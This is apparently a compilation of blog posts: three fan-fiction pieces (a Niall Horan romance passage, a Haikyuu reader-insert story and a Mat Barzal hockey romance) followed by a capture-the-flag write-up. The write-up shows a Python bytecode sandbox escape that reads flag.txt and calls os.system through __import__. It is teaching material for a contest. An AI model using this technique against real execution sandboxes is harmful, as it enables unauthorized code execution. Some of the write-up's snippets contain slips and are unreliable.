It almost makes her sad to have to close up at 9. Niall’s good about it—he’s designed his set to last exactly two hours, finds a climax in the middle with “Dancing in the Dark” and tapers his song choices toward a slow but steady ending, letting everyone know, without having to say it, that it’s time to head home. Lu doesn’t even have to ask him if he knows how to play “Closing Time.” 

Mr. Kane is the last to leave, sticking around a little after nine to shake Niall’s hand and tell him he had no idea how talented Maura’s son is. He talks about Maura—Lu assumes she must be Niall’s mom—while Lu slowly, quietly begins putting dishes away. She likes the routine of this already, Niall’s quiet voice, his booming laugh, his warm presence keeping her company while she settles down for the night. It’s something she could get used to. It’s something, the first thing, she thinks she could miss, if she left. 

Niall masterfully leads his conversation with Mr. Kane toward goodbyes, shaking his hand again as he shuts the door behind him. Lu looks up from where she was rinsing a cup to watch as Niall watches through the window to make sure Mr. Kane gets in his car. He waits for the car to start before turning around, leaning his back up against the door, dragging a hand through his hair, and letting out a long sigh. 

“Alright?” Lu asks, gentle. Niall’s got his eyes closed, his head back, neck exposed to her. It’s thick and littered with freckles, and his Adam’s apple bobs as he swallows. In her chest, Lu’s heart does something funny. She presses her thighs together, tight. 

Niall opens his eyes halfway, exhaling a little laugh as he meets Lu’s gaze. She hopes he can’t tell—how could he? 

“Yeah,” he says then, standing all the way up and shaking his head. “That was mad.” 

“It was amazing,” Lu counters. She gently places the mug back into the sink, bracing her hands against the edge. Part of her is afraid of what she’ll do without something between him and her. “They were so into it. No one could look away from you.”

Her cheeks flush, and Niall catches it. The corner of his mouth pulls up in half a smile as he shoves his hands into his pockets. “Ya think so?” 

“I know so,” Lu presses her lips together, but it doesn’t do much to prevent her smile. “‘Dancing In The Dark’ was my favorite one; it’s perfect for your voice.” 

“Thanks, Looney Tunes,” Niall hums, making his way back over toward her. “Can I help ya clean up? I wash, you dry?”

“Oh,” Lu stills. She’d half forgotten about the dishes still left to clean, the floor to sweep, the leftovers to toss, the counters to wipe down. Her mind stumbles over the best way to go about this: it would be rude to keep him, but, God, she wants his company. She realizes, with a slight swoop in her belly, that she hasn’t felt homesick in two hours. She needs him to stay. “I actually—I have a dishwasher. I just like to rinse everything before I put it in.” 

Niall smiles. He comes around the counter to stand next to Lu at the sink, knocking his hip against hers. “Sensible,” he says. It’s quiet. Just for her. “I’ll rinse and put ‘em in. You’ve been stood here all night. What else do you have to do?” 

“Uh,” Lu feels like her whole body is vibrating. Her mind turns over itself like an engine that won’t start. “Sweep the floors, wipe down the counters, lock up.” 

“Alright,” Niall is so close that Lu can smell his aftershave. Warm, soft, mixed with sweat from his nerves and the smell of his skin. “Let’s do it.”

####

taglist: @missy14us @antisocialsocialclub5 @coconutdawn @ficnarry @bopbopstyles @okaaayniall @theresnooneheretosave @niallgolden @tinyfelthat @adoremp3 @thelifeofbo @crocodileniall @niallsguitarthings @kara-246

Join the tag list here.

[milktyama]

☕︎ [ 3:43 am ] — ESCAPADE ARC

pairing: hinata shoyo x reader

genre: timestamp, fun adventures with shoyo!!, platonic

"Pstttttt, Y/n !!" clicking noises were heard outside your window along with a soft yet strong whisper yell. Your heavy eyelids refused to open and you comply to their stubborn behavior and stay in bed. However, whatever source that wa causing the ruckus had other plans.

The clicking noises resembled small pebbles hitting your window, desperate attempts to catch your attention. After a few moments, you were fed up with the noise and hastily shoved your very warm and fluff blankets to the side and marched towards your window.

Basically slamming it open, you saw a small figure dressed in a yellow hoodie with the hood on and a dark puffer jacket, bright orange peaks of hair overflowing the hood. You glanced over at your clock and scowled at the red lit numbers shown.

“Shoyo what are you doing here at almost 4 in the morning. It may be a weekend but it doesn’t mean we get to mess up our sleep,” you scolded him. Even though you gave him a stern face, the features in his face only grew wider as his smile grew. 

“I know I know BUT!! I can treat you to some take out right now heehee,” now if that offer was not tempting then you weren’t sure what was. 

Hinata knew exactly how to lure you in, and with that, you quickly changed and carefully make your way out from your window. 

“Okay Sho but if I get caught again we’re both going to be grounded for longer than 2 months and a very lengthy lecture from either of our parents,” you tried to keep a low voice and leaned closer as your words became soft enough to pass as a whisper. 

“Don’t worry Y/n! We’ll be back before they know it. Plus you sleep till 1pm on weekends anyways so they won’t notice!” his voice perked up, along with his hair. Hinata’s expressions were adorable, it was almost as if he was a puppy.

After getting some food as Hinata promised, the two of you made your way to a nearby park that the two of you spent a lot of time in. Many memories were made here. 

Like the first day of high school, your bike chain broke here and as you were starting to lose hope and walk to school instead, you ran into Hinata and he kindly offered to help. Well obviously he couldn’t fix it but after finding out that the two of you were headed to Karasuno High, he kindly offered a ride there. 

And how could you forget about during your second year when he practically begged you to become a second manager to club. It was in this park that he tried to bribe you into it with a full picnic with everyone. Though only Yachi and Yamaguchi showed up, along with the two of you, it was more than enough to get you on board.

Now nearing to the end of your third year, as cheesy as it may be, both of you wanted to spend the last few moments in this park. A friendship made by chance. Those were always the best, specially if it involved Hinata. 

“Hey Y/n! Let’s have a tree climbing competition!” Hinata exclaimed, interrupting your small flashback. Finishing the last bite of your food, you smiled at him and took up his challenge. 

The little competition ended with Hinata winning  due to his unannounced head start from the lack of a countdown, the ginger boy latched himself quickly onto the tree, you closely tagged behind him. 

At the top of the tree, the two of you could see the peaks of the morning dusk in the cold morning. The gleaming rays mixing with the dark sky creating an ethereal colour hybrid. Sighing at its beauty, it was a rare moment that both you and Hinata stayed silent, having so much in their minds yet not knowing what to say. 

“This...! This is just the end for one arc in our lives. We still got many more arcs to come, I just know it!” Hinata says. You hummed in response, still feeling slight sadness in your heart. 

You suddenly stood up on the branch you were sitting on, took a deep breath, and shouted. 

“THIS IS ONLY THE END OF THE ESCAPADE ARC!!” you heard Hinata chuckle on your side, but he soon joined you. Cupping his hands around his mouth, he took a deep breath and followed you example.

“YEAH!! OUR ADVENTURES ARE NOT EVEN CLOSE TO END! JUST WAIT FOR THE NEXT ARC AND EMBRACE YOURSELF WORLD!!”

[slapshot-to-the-heart]

Flatbush & Atlantic: part iv

And here’s part iv! I’d love it if y’all would reblog, this is a work I’m really proud of and the more people it’s shared with the better! My inbox is always open, and I’d love to hear your thoughts, even if it’s just “AAAAAH.” Enjoy!

part i part ii part iii

part iv

December 12

Cass grimaced, looking over at the tab on her laptop that had the Islanders game open. They were down 3-1 late in the third, and it didn’t look like they were going to be able to pull it off. It was the last game of a ten day roadie, and they had lost all but one against the Red Wings right at the beginning. And the Wings were 10-21, so it wasn’t even a confidence booster. To make matters worse, Mat was on a points drought; he hadn’t gotten an assist, let alone scored, since the first game of the trip, a 4-1 loss to the Blue Jackets. They also were playing a few players down, an MCL sprain and the ever-vague “lower body injury” kept the team from being at full strength. 

As the game came to a close, she didn’t even know if Mat wanted to talk to her. His relentless dedication was one of her favorite things about him, but it also led him to take things way too personally and be way too hard on himself even when  — especially when  — the situation didn’t call for it. He was probably beating himself up as the boys headed back into the locker room, being short with his teammates and trainers and whatever poor sports reporter had been sent to ask “how they planned on snapping this unfortunate streak” in the post-game interviews. He’d never be deliberately mean or unkind to anyone, but just like anyone, her boyfriend got stressed and overwhelmed and didn’t always know how to deal with it. I saw the game, she texted him, I’m proud of you. Call me if you want. 

Dec. 15 (wed)

Mat had barely spoken to her since the return from the roadie, and it was starting to get on her nerves. Texts were responded with single words, if they were answered at all. They were supposed to have visited the Met yesterday , but that hadn’t happened either. He had cancelled, saying that “some team thing came up” and he wouldn’t be able to make it. Barely apologized. And what pissed Cass of more than almost anything was that she wanted to help, she wanted so badly for him to just talk to her, she wouldn’t judge him or make him feel like he was a shitty player or a shitty person, but she couldn’t do that if he wasn’t even picking up her damn calls. Who do you talk to when there’s almost nobody in the world who understands the position you’re in? 

Maybe that was just it. She’d go to the people who did understand. Paige had added her to the WAGs Whatsapp group the week prior, and from everything she had gathered so far, it was exactly the sort of place to go for advice. Cass pulled up the chat, torn between not wanting to seem like she was oversharing but not really sure what else she could do. Hey, guys, she started. Mat’s been taking the losing streak pretty personally (as I’m sure a lot of your guys are) and seems to be pulling away. Any advice? I don’t want to push him but I know it’ll get worse if he just keeps it all bottled inside. Clicking send, Cass sighed, leaning back in her desk chair and trying desperately to study for her Environmental Law final. 

At some point after midnight, she closed her books and laptop with frustration. The test wasn’t until next week, but she wasn’t going to get anywhere trying to study as distracted as she was. She grabbed her phone, heading to the bathroom to brush her teeth and check the group chat. No fewer than six of the women had written back, some of whom she hadn’t even met, with long, sympathetic paragraphs overflowing with advice. She read them all, touched by the time, effort, and care that everyone has put into making her feel just a little less anxious. But the overwhelming message was clear. Find balance, but don’t let him blow you off. Be a support system, but you’re not his therapist. And repeated again and again, Talk to him. 

She tapped out a message before she turned her bedside lamp off, hoping that with morning would finally come a proper response from Mat. Can we meet for coffee tomorrow morning? You know as well as I do that we need to talk. I’ll be at Donahue’s at 8. 

Read: 12:23 AM

Dec. 16 (thurs)

Her foot tapped nervously, hands clasped tightly around the cup in front of her and beanie pulled over her head, curls poking out from under. He had read the text, but Cass had no clue if Mat was actually going to show up or not. He hadn’t responded. It was ten past eight, and Cass was just about ready to give up and head to school early. She had just put her laptop back in her bag when she caught Mat out of the corner of her eye. He gave her a small smile, equal parts nervous and almost  — bothered? “Hey,” he said softly, unzipping his puffer coat and sliding into the chair opposite her. “You said you wanted to talk?”

Suddenly, the whole elaborate speech Cass had prepared, about letting her in and supporting him and communication, left her mind. “Yeah.”

“So, talk,” Mat said, with a slight edge to his voice. 

She looked down at her cup. “I get that you’re disappointed about the losing streak. I get it and I’m sorry that you’re not doing as well as you hoped —”

“I don’t think you do get it, Cassidy —”

She cut him off. “Let me finish, Mathew. I’m sorry that you’re not doing as well as you hoped, and I do get how shitty it is when you know you’re putting in the time and effort and practice and it doesn’t seem like anything’s working, but you’ve barely talked to be about any of it.”

“‘Cause I don’t want to,” Mat mumbled. 

Cass leaned back in her chair. “And I get that. I get if you don’t want to talk to me. But you’re not talking to anyone. You’re not talking to Tito, I asked him and he said you’ve been just as closed-off with the team. You’re not talking to any of the other guys. And I’d bet you’re not talking to your parents or your sister either.”

No one gets it!” Mat said in frustration, a little louder than was necessary. “I go through so much shit and have so much pressure on me and…” He trailed off for a minute. “I don’t want to disappoint the team, I don’t want to disappoint the fans. I don’t want to disappoint my family. I don’t want to disappoint you.”

“Everyone had their ups and downs,” Cass started.

“And I get that,” Mat said, holding his head in his hands and looking down at her coffee cup. The same white-and-blue one he had gotten her two months earlier. “But it’s hard. It’s hard when I’m feeling like the fans aren’t getting what they deserve when they come to games, and like I’m not worth what they’re paying me right now. I know you want to, but you don’t get it.”

Cass looked away, turning her eyes to the street. The sidewalk was dusted in white, turning to slush every time someone walked past. It was the first snow of the year. “Then help me to.”

He breathed out, finally relaxing a little. “It’s not that easy.”

“I want to help you,” Cass said, leaning over the table and clasping his hands in hers. “But you can’t keep freezing me out like this, chou. It’s not fair to you and it’s not fair to me.”

Mat closed his eyes, leaning into her touch. “I just don’t want this to become your thing too. You shouldn’t have to deal with this. I know right now kind of sucks for me but that’s just how it is sometimes, you know? It’s just how it is and I have to get over it. I have to get over myself.”

“Mat, your well-being and mental health isn’t something you can just ‘get over.’ Or even something you should. I’m not a professional, and if you need one that’s something we can find,” Mat wrinkled his face, and Cass was pointedly reminded how often men’s mental health was ignored, “but I’m here for you to talk to. Whatever you need, I’m here for you.”

He ran his thumb over her hand. “But you didn’t sign up for this.”

Cas shook her head. “Mathew Barzal. This is exactly what I signed up for. I’m pretty smart,” he cracked a smile, “and I knew what I was getting myself into. Dating someone with such an unconventional job and schedule can be stressful, and frustrating, and confusing for everyone involved. But I chose it, Mat. I chose you.”

Dec. 21 (mon)

For once, Cass wasn’t headed straight home after work, or headed to a game, or — God forbid — back to the library to study. Her last final had been that morning, and she was free for three blessed weeks until the New Year. Which meant that she didn’t have to worry about turning in another essay or memorizing another case, which meant that she was more than free to go to the team Christmas party with Mat later that night. He had somehow been coerced into hosting, and Cass had promised to get to his apartment early to help set up. He was mostly done by the time she got there, so “setting up” turned out to mean setting up the bar and putting out snacks, Cass mixing up an enormous pitcher of her favorite sangria, a signature standby from her sorority’s Wine Wednesdays. 

Mat had even put up a proper Christmas tree, and Cass smiled at the piney scent as she headed down the hallway, bag in hand. “Cool if I change in your room?” She shouted down the hall at Mat, who was currently engrossed in pouring a bowl full of chocolate-covered pretzels. “Yeah, go for it,” he called back. Cass didn’t have a lot of excuses to dress up, but liked taking advantage when the occasion called for it. Her dress was short, red satin with a slit on one side and silver embellishment on the other. She used his bathroom to touch up her makeup, swiping her burgundy lipstick on and double-checking her brows. Cass shoved her work clothes back into her backpack, tossing it onto the plush armchair in the corner of his room. 

She walked down the hallway, which was pretty much bare save for a few pictures of his friends from home and one with his family on the day he was drafted. She was kind of surprised that Mat owned a single picture frame. Cass sat on the couch in his living room, looking at the Christmas tree. There were one or two Islanders ornaments, a paper Santa that she assumed had been a kindergarten art project, a photo of his family around the fireplace that looked like it had been taken a year or two earlier. Mat wrapped his arms around her, hugging her from behind. “Whatcha looking at, babe?” 

She smiled. “Your ornaments. They’re really pretty.”

“Not  as pretty as you.”

The door rang, Mat kissing her quickly before walking across the room to open it. A group of the younger players piled in, mostly rookies and call-ups from Bridgeport. One of them had brought along a keg of beer, and Cass had to fight back a laugh while showing him to the kitchen and setting it on the counter. He was just out of college, she’d stake her life on it. By the time she’d secured the keg and started getting people set up with drinks, the living room had started to fill up. “What can I get you?” She asked Paige, who had left Tito with the boys by the tree and made her way over to Cass. 

“What are my chances of getting a Moscow mule?” Paige asked. “I don’t want to be a difficult guest, but,”

“Very good,” Cass said, turning around and grabbing the vodka and ginger ale. “We don’t have the proper mugs though, so don’t be complaining.” One shot of vodka. Half a can of ginger ale. Squeeze a lime. She had bartended for a little over a year when she first moved to New York, and it was still one of her favorite things to do for friends. Mixing herself a whiskey sour, Cass wandered back over to Mat and Tito. 

---

It was well past eleven and the party was nowhere near stopping. While everyone was conscious of the noise level — for the most part, she had seen a few of the guys being reminded to use their inside voices — the conversations were still going and the drinks were still flowing. Cass had passed the tipsy point somewhere around 10:30, though she was nowhere near as hammered as some of the team. Or their dates, for that matter. She was cuddled up against Mat on the couch, heels long having since been abandoned and nursing what she was pretty sure was a vodka sprite with way too much vodka and way too little sprite. Whatever, Cass thought ruefully as she tipped the last of it back. It gets the job done. 

Mat was a touchy drunk, Cass had learned, and one hand seemed to have taken up permanent residence at her waist while he sipped a beer with the other. “What do you think Christmas will be like for you?” Cass asked softly, tilting up her head to look at him. “Since you won’t be with your family.” Mat knew it was a possibility, but he was still pretty upset when he looked at the schedule and realized that his family wasn’t going to be able to fly out to spend the holidays with him, and he didn’t have enough time to go back out to Vancouver. 

Her parents had extended the invitation for Mat to spend Christmas with them when she had been back up for Thanksgiving; he couldn’t make Christmas Day, but was able to carve out two days to visit. He smiled at her, leaning down and kissing the top of her head. “You’re cute when you’re worried, y’know that?” Cass scrunched up her nose. “It’s not like I’m going to be alone. I’m doing Christmas with Beau, since Paige’ll be out of town too, and some of the guys usually plan a nice dinner thing for anyone who’s not with family.”

“That sounds nice,” Cass noted, still feeling a pang of guilt. 

“Hey,” Mat said, noticing her distraction. He sat up, turning her face to look towards him. “I’ll be fine. I’m a grown-ass man.” 

Cass cocked an eyebrow. “Sure about that?”

Mat giggled. “Okay, okay, fine. Point taken. But yeah, it would be nice to have my family, but I kind of do, y’know?” He said, nodding around to the guys. Cass could have sworn that in that moment, her heart melted. “And I want you to spend time with yours. I’d be kind of a shitty boyfriend if I didn’t want you to.” Mat leaned in, and his lips brushed against hers so that they were almost touching but not quite, hesitantly. Cass pressed against him, her fingers finding purchase in the baby hairs at the nape of his neck. She loved that he was letting his hair grow out. He tasted like whiskey and tequila and some cheap beer that she was pretty sure was Natty Light, but she couldn’t have cared less, just like she ignored the not-so-subtle wolf-whistles from the teammates. 

Everyone started clearing out around midnight, a few staying to help stuff cans and bottles into trash bags that were left unceremoniously in the kitchen to be dealt with the next morning. Cass yawned, rubbing her eyes. She had sobered up some, but was still well past the legal limit. “Whatcha doing?” Mat asked, seeing her about to order an Uber.

“Calling a ride?” Cass questioned.

“Why don’t you just stay?” Mat asked haltingly. “If you want.” Cass had obviously been over to his place before, multiple times, but hadn’t stayed the night yet. It wasn’t that she didn’t trust him, because she did, but it was something that was a big step for her. That meant a lot to her. But it was late, and she was sleepy, and Mat did make a really good pillow. “Okay,” she conceded. 

Mat smiled, taking her hand and leading her back to his bedroom. He rummaged through his dresser, grabbing an old Thunderbirds t-shirt and athletic shorts and handing them to her as she walked into his ensuite. “I don’t have stuff to get your makeup off, but there is soap?” He offered. 

Cass laughed. “I brought some wipes, but thank you. That’s really sweet.” She changed and took her makeup off, finding a spare toothbrush in one of the drawers and brushing her teeth. She popped out after a few minutes. Mat was already changed, dressed in pyjama pants and a comfy-looking heathered grey top. “The red toothbrush is mine now.”

“Yes, ma’am,” he responded, cracking a smile. A few minutes later, she had claimed the left side of the bed and he had come back from the bathroom. They were lazily kissing, Mat’s hand just barely brushing the skin on her waist from where the shirt had ridden up. Cass was still tipsy and she knew Mat wouldn’t try anything, not like this, but God, it was nice just to feel close to him. After a few minutes he pulled back, brushing a piece of hair behind her ear that had fallen out of the loose messy bun she had thrown together. “What’s running through your head, babe?” He murmured. 

Cass looked down, biting her lip. She was usually good with emotions, good with communication, but something about Mat made her heart skip a beat and brain go into overdrive all at once, and somehow she was convinced that it was the best feeling in the world. “I’m just really happy right now,” she breathed. “It’s Christmas, with our friends, and you...It’s everything I could want.” 

Mat gave the softest smile. “You, with me, right now? That’s all I could want, Cass.”

Dec 22. (wed)

Cass zipped her suitcase shut, double-checking that she had everything she’d need for her two weeks in Connecticut. It wasn’t a big deal if she forgot something, there was probably some stuff left in her old dresser, and her little sister Eliana was about the same size. Mat had just texted that he was almost there. Cass grabbed her backpack and suitcase, stopping for a moment to pop out the final few chocolates on the Advent calendar her mom had sent down. She closed her bedroom door, wishing a harried goodbye to Ryanne and Stella, and ambled down the stairs as fast as her bags would allow her. She didn’t want Mat to have to double-park and risk getting a ticket. 

True to his word, Mat was just pulling up when she came out of the building, waving one hand and double-checking the street was clear before flipping his hazards on and hopping out to help her put her bags in the trunk. Kissing him on the cheek in thanks, Cass slid into the passenger’s side, giving Mat a very pointed look when she saw that the first song on his playlist was Justin Bieber. “Don’t make fun of me,” he mumbled, blushing. 

“Who said I’m making fun of you?” Cass said lightly, trying and failing to hide her smile. 

They had decided that Mat would make the drive, since he was only staying two nights they had figured it would make more sense. The directions had been plugged into the Bluetooth system, and they had just made it out of the city when Mat looked over at the passenger’s seat, furrowing his brow when he saw Cass’s expression. Something was bothering her. “What’s up, babe?”

She bit her lip. “Nothing.”

“C’mon, we both decided we weren’t going to do this anymore. You don’t have to tell me if you really don’t want to, but I think you want to talk.”

Cass looked down at her lap. “I got a letter from the company that’s handling my student loans.”

“I thought you didn’t have any debt?” Mat asked quizzically.

She let out a single, humorless laugh. “That was for undergrad, and that was only because I was really, really lucky. I got some money from the school and I worked some, but that only covered about half of my costs? A little less?” 

“Which leaves you with how much?”

“A hundred and ten thousand dollars, give or take. They were sending me the payment schedule, I have to start paying it back late next year.” 

Mat breathed out. He knew that Cass didn’t come from money, but being from Canada and not having gone to college himself, he wasn’t really aware of just how debilitating student debt could get. “Do your parents know?” He asked gently.

Cass picked at a loose thread on her scarf. “Yeah. They helped as much as they could, but there’s three of us and they’re not made of money. “I, uh,” she paused briefly, “I told you I went to private school, yeah?” Mat nodded. “Catholic school doesn’t come cheap, so I was actually on work-study at my high school, which helped a lot. But I hated it.”

“Your school?” He questioned. 

She shook her head. “No, I loved my school. It was great. I just hated feeling like a charity case. My school’s in a pretty well-off neighborhood, so most of the families there had money, and some were like proper ‘old money’ New Englanders. I had some great friends and nobody ever really outwardly was an ass about it if they knew, but still…” She trailed off.

“You felt like you never quite fit in.” Mat finished.

She nodded. “It was hard and it sucked sometimes, but that’s just how it is, I guess,” she said, shrugging her shoulders. 

Two hours later, Mat pulled into Manchester, following Cass’s directions down the winding roads and corners of her hometown. “Do you think they’ll like me?” He asked nervously, eyes flitting between Cass and the road in front of him. 

Her brow furrowed. “Who? My family?” Mat nodded. “My family’s going to love you. You’re kind and you treat me with respect. That’s all they’ve ever wanted for me. And my brother already worships the ground you walk on, practically,” she added with a smile. 

“He’s a junior, yeah?” 

“Mhm,” she responded. Cass’s younger brother Noah was a junior in high school, and one of the best players on his club hockey team. Hockey didn’t run cheap and he had been lifeguarding the past few summers to pay for it, but it was all starting to pay off and he was having some interest shown by college scouts. 

Mat pulled up beside the curb in front of her house, killing the engine and shoving the keys back into his pocket. Cass popped the trunk and took her backpack, while Mat got his duffel and her suitcase. She reached for his hand as they walked up the driveway, giving it a reassuring squeeze as she rang the doorbell. 

“Cass!” Eliana squealed, hugging as much of her sister as she could manage around the bags. “Put your bags by the door, Dad’s grilling out back and I think Mom’s making your bed.” Mat had had an afternoon game and the two had left not long after, so it was dinnertime and Cass was ravenous. “Grilling in December?” She questioned. 

Eliana shrugged, closing the door behind them. “You know Patrick, you go be the one to tell the man he can’t make burgers in the winter.” She turned to Mat, also greeting him with a hug. “You must be Mat, Cass talks about you a lot.” 

Cass swatted her. “El!”

Mat chuckled. “Yeah. Mat Barzal, nice to meet you. Good things, I hope?”

“Only the best,” Eliana said, leading them through to the back porch, where her dad was grilling on the patio while Noah was doing sprints up and down the lawn. He almost fell when he spotted Cass and Mat, causing Mat to have to hide a laugh behind his hand. Her dad turned around, setting the spatula down when he saw them. Mat swallowed, sticking out his hand for a shake. “Mat Barzal, sir.”

“Call me Patrick. Good to meet you Mat, go get settled and we should have dinner ready in a few, okay?” Mat nodded. “Noah, pick your jaw up off the floor and go help them with their things, okay?” Noah ducked his head, brushing the dirt off his shorts before jogging over to where Mat and his sisters were on the porch. 

“Do I hear my Cassidy?” Cass could hear her mom inside, walking down the hallway with Noah and Mat before she ran into her by her old bedroom. “It’s me, Mom!” Cass said excitedly, hugging her mom. Mat initially went for another handshake, but she shooed it away, embracing him. “We’re huggers in this family,” she said by way of explanation, pulling away after a moment. “Ysabel Cabrera, so nice to finally meet you, Mat.” 

Mat smiled. “It’s great to finally meet you too.”

Ysabel pointed down the hall. “Noah’s got bunk beds, so you’ll be with him in there, it’s the last door on the left. Cass, I trust you still can find your room.”

“Yes, mamá,” Cass said, rolling her eyes. “See you in a few, chou.” He kissed her on the cheek, under the watchful eye of her mom, and followed Noah down the hall. 

---

Two hour later, Mat and Cass were cuddled together on the living room couch, his arm slung around her as they half-watched reruns of Parks & Rec. “D’you just want to do presents now?” He asked, looking down at her. “Because I know we’ve got plans tomorrow, and I don’t see how it really matters if we’re not going to be together Christmas Day.”

Cass looked up. “Uh, sure, if you want?” 

“Meet you back in a minute,” Mat said, hopping off of the couch and disappearing down the hall. Cass rolled her eyes, walking into her room, grabbing the envelope, and returning to the living room. Mat got up when she entered, proudly handing her a surprisingly well-wrapped present. 

“You look very pleased with your work,” Cass noted, laughing. 

“I watched a Youtube tutorial,” Mat admitted, “but did you know that there’s so much that goes into folding neat corners? It’s practically an art!”

“I’ll take you word for it,” Cass said, handing him his envelope. “Open yours first.”

Mat sat back down, running his thumb through the flap and pulling out a coupon. He looked at it quizzically for a minute. “Beer delivery?”

“Craft beer delivery,” Cass corrected pointedly. “Because I don’t want you to have to resort to Natty Light ever again. I saw your fridge, it’s actually the worst. You need taste, babe.” Mat snorted. “And they deliver to Canada, so you don’t have to worry about missing out on the offseason.” 

“I love it, pretty girl,” Mat said, kissing her. “Now open yours.” Cass carefully popped the corners open, unfolding the wrapping paper. My Beloved World - Sonia Sotomayor. “You said once that you really admire her, and I didn’t see it on your bookshelf, so I thought you’d like it.”

“I do, I love it. I love that you remembered even more,” Cass added. 

But Mat wasn’t done. “Open it,” he said expectantly.

Confused though she was, Cass opened the cover of the book. “It’s...signed? She said softly, reverently tracing her fingers over the inscription. 

“Yeah.” Mat went on, explaining, “I found it in this little bookstore in Brooklyn, and knew I had to get it for you. Knew what it would mean to you.”

“It’s incredible. You’re incredible. I can’t believe you’d do something like that for me.” 

Their foreheads touched. “Why wouldn’t I?” Mat whispered. “It’s for you.” 

And in that moment, there was nothing anyone could do to take away how happy that made her feel. How happy he made her feel. 

[ohaithe-re]

RACTF: Puffer Overflow

This challenge is just an exercise in "write some Python assembly". Although Python gives lots of nice utilities for dumping out the code for a particular function, there are some funny things about how they load your code. This is the relevant part on the server:

consts = (*range(256), ) names = ("chr", "ord", "globals", "locals", "getattr", "setattr") # Tag on a trailing RETURN call just incase. code += b"S\x00" # Construt the code object inject = CodeType( #0, # For python 3.8 0, 0, 0, stacksize, 2, code, consts, names, (), "", "", 0, b"", (), () ) # Create a copy of globals() and load in builtins. builtins aren"t # normally included in global scope. globs = dict(globals()) globs.update({i: getattr(builtins, i) for i in dir(builtins)}) # Go go go! return eval(inject, globs)

The key things here, some making it easier and some making it harder:

We're limited to only certain functions: chr, ord, globals, locals, getattr, setattr.

We're limited only to numeric constants from 0 to 256. This means no strings, at all.

But, our globals() will have all builtin functions! Which makes this a lot more sane.

The challenge helpfully offers us a put_on_stack function to load up to 32 bytes as a string, but I was lazy and wanted to solve this without writing any Python bytecode by hand. My goal now is to write a Python function that is compatible with these constants and names lists. Even if I wrote

def f(): return globals()[chr(7)+chr(9)]

it wouldn't work with their loading, because the names would be in the order ("globals","chr"), and the constants would be in the order (7,9). So when they load the code, it would actually run chr()[ord(0)+ord(1)] -- which would obviously fail.

So I want my code to have constants and names in the right order. So my function starts off as:

def f(): chr ord globals locals getattr setattr chr(1)+chr(2)+chr(3)+chr(4)+chr(5)+chr(6)+chr(7)+chr(8)+chr(9)+chr(10)+chr(11)+chr(12)+chr(13)+chr(14)+chr(15)+chr(16)+chr(17)+chr(18)+chr(19)+chr(20)+chr(21)+chr(22)+chr(23)+chr(24)+chr(25)+chr(26)+chr(27)+chr(28)+chr(29)+chr(30)+chr(31)+chr(32)+chr(33)+chr(34)+chr(35)+chr(36)+chr(37)+chr(38)+chr(39)+chr(40)+chr(41)+chr(42)+chr(43)+chr(44)+chr(45)+chr(46)+chr(47)+chr(48)+chr(49)+chr(50)+chr(51)+chr(52)+chr(53)+chr(54)+chr(55)+chr(56)+chr(57)+chr(58)+chr(59)+chr(60)+chr(61)+chr(62)+chr(63)+chr(64)+chr(65)+chr(66)+chr(67)+chr(68)+chr(69)+chr(70)+chr(71)+chr(72)+chr(73)+chr(74)+chr(75)+chr(76)+chr(77)+chr(78)+chr(79)+chr(80)+chr(81)+chr(82)+chr(83)+chr(84)+chr(85)+chr(86)+chr(87)+chr(88)+chr(89)+chr(90)+chr(91)+chr(92)+chr(93)+chr(94)+chr(95)+chr(96)+chr(97)+chr(98)+chr(99)+chr(100)+chr(101)+chr(102)+chr(103)+chr(104)+chr(105)+chr(106)+chr(107)+chr(108)+chr(109)+chr(110)+chr(111)+chr(112)+chr(113)+chr(114)+chr(115)+chr(116)+chr(117)+chr(118)+chr(119)+chr(120)+chr(121)+chr(122)+chr(123)+chr(124)+chr(125)+chr(126)+chr(127)+chr(128)+chr(129)+chr(130)+chr(131)+chr(132)+chr(133)+chr(134)+chr(135)+chr(136)+chr(137)+chr(138)+chr(139)+chr(140)+chr(141)+chr(142)+chr(143)+chr(144)+chr(145)+chr(146)+chr(147)+chr(148)+chr(149)+chr(150)+chr(151)+chr(152)+chr(153)+chr(154)+chr(155)+chr(156)+chr(157)+chr(158)+chr(159)+chr(160)+chr(161)+chr(162)+chr(163)+chr(164)+chr(165)+chr(166)+chr(167)+chr(168)+chr(169)+chr(170)+chr(171)+chr(172)+chr(173)+chr(174)+chr(175)+chr(176)+chr(177)+chr(178)+chr(179)+chr(180)+chr(181)+chr(182)+chr(183)+chr(184)+chr(185)+chr(186)+chr(187)+chr(188)+chr(189)+chr(190)+chr(191)+chr(192)+chr(193)+chr(194)+chr(195)+chr(196)+chr(197)+chr(198)+chr(199)+chr(200)+chr(201)+chr(202)+chr(203)+chr(204)+chr(205)+chr(206)+chr(207)+chr(208)+chr(209)+chr(210)+chr(211)+chr(212)+chr(213)+chr(214)+chr(215)+chr(216)+chr(217)+chr(218)+chr(219)+chr(220)+chr(221)+chr(222)+chr(223)+chr(224)+chr(225)+chr(226)+chr(227)+chr(228)+chr(229)+chr(230)+chr(231)+chr(232)+chr(233)+chr(234)+chr(235)+chr(236)+chr(237)+chr(238)+chr(239)+chr(240)+chr(241)+chr(242)+chr(243)+chr(244)+chr(245)+chr(246)+chr(247)+chr(248)+chr(249)+chr(250)+chr(251)+chr(252)+chr(253)+chr(254)+chr(255)

all of which does nothing except reference those things in the right order. Now for the actual payload code, I would like to run globs['print'](getattr(globals()['open']('flag.txt'),'read')())

Since I can't have any strings, I "escape" them to chr's using

def bou(s): return '+'.join("chr("+str(ord(i))+")" for i in s)

e.g. bou('print') gives chr(111)+chr(112)+chr(101)+chr(110). I run this then with

def f(): chr ord globals locals getattr setattr chr(1)+chr(2)+ ... snip getattr(globs[chr(111)+chr(112)+chr(101)+chr(110)](chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))() cc = bytearray(f.__code__.co_code) with open("puffer_pay.bin","wb") as fl: fl.write(b"a"*32 + cc + b"\n")

(The first 32 "a"s are to skip the stack operations they give us.) When I try this, I run into some prolems. First, the server stops reading the input bytecode at the first newline. Newline is ASCII value 10, and when I refer to the constant "10", which is also number 10 in the constants table, it cuts the code off early. So:

cc[cc.index(10)] = 11

Now the code runs great on their server. But I get no output. Maybe flag is somewhere else? I try getattr(globs['__import__']('os'),'system')('ls'), and still get no output. Then I realize that's probably an issue of stdout.

